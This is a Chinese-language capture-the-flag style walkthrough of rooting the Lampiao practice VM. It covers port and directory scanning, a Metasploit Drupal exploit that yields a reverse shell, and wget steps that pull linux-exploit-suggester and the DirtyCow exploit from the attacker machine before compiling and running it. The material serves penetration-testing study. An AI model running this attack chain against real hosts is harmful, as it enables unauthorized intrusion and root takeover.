OSCP Lampiao 靶机渗透

Lampiao 靶机渗透

目标：得到root权限
作者：shadow
时间：2021-03-22

请注意：对于所有计算机，我已经使用VMware运行下载的计算机。我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，概不负责。

一、信息收集

netdiscover -i eth0

Lampiao主机ip为172.16.1.15

nmap扫下所有端口

nmap -p- -A 172.16.1.15

看下有两个http，看下80端口，就这样一个东西，查看源代码也没有，估计是修改了默认端口

我们再看下1898端口

是个登录页面，我们dirb下看看目录下有什么

dirb http://172.16.1.15:1898

发现了robots.txt，我们看看写了什么，原来是一个访问控制列表，我们在这里发现了敏感文件CHANGELOG.txt，更新日志

查看更新日志，发现是Drupal的

二、web渗透

我们使用msf查看下是否有渗透脚本

msfconsole

search Drupal

使用这个漏洞

配置成如下然后直接run

成功反弹shell，我们改为交互式shell

python -c 'import pty;pty.spawn("/bin/sh")'

三、提权

我们试试自动检测，看看有没有直接提权的exploiot

在/var/www/html目录下下载exploit suggester

git clone https://github.com/mzet-/linux-exploit-suggester

mv linux-exploit-suggester.sh ..

开启服务

service apache2 start

然后使用受害机下载

wget http://172.16.1.4/linux-exploit-suggester.sh

赋予执行权限并运行

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

发现可能存在的漏洞dirtycow

网上搜索找到exploit 40847

由于是c++文件，我们将下载代码保存为lampiao.cpp

然后移动文件到我们的apache2文件夹下

mv lampiao /var/www/html

受害机下载我们的文件

wget http://172.16.1.4/lampiao.cpp

然后进行编译

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow lampiao.cpp -lutil

赋予执行权限

chmod +x dcow

执行，成功获得root密码

./dcow

切换到root用户输入密码，成功获得root权限

四、总结

这次靶机没什么难度，主要是尝试msf时候花费了点时间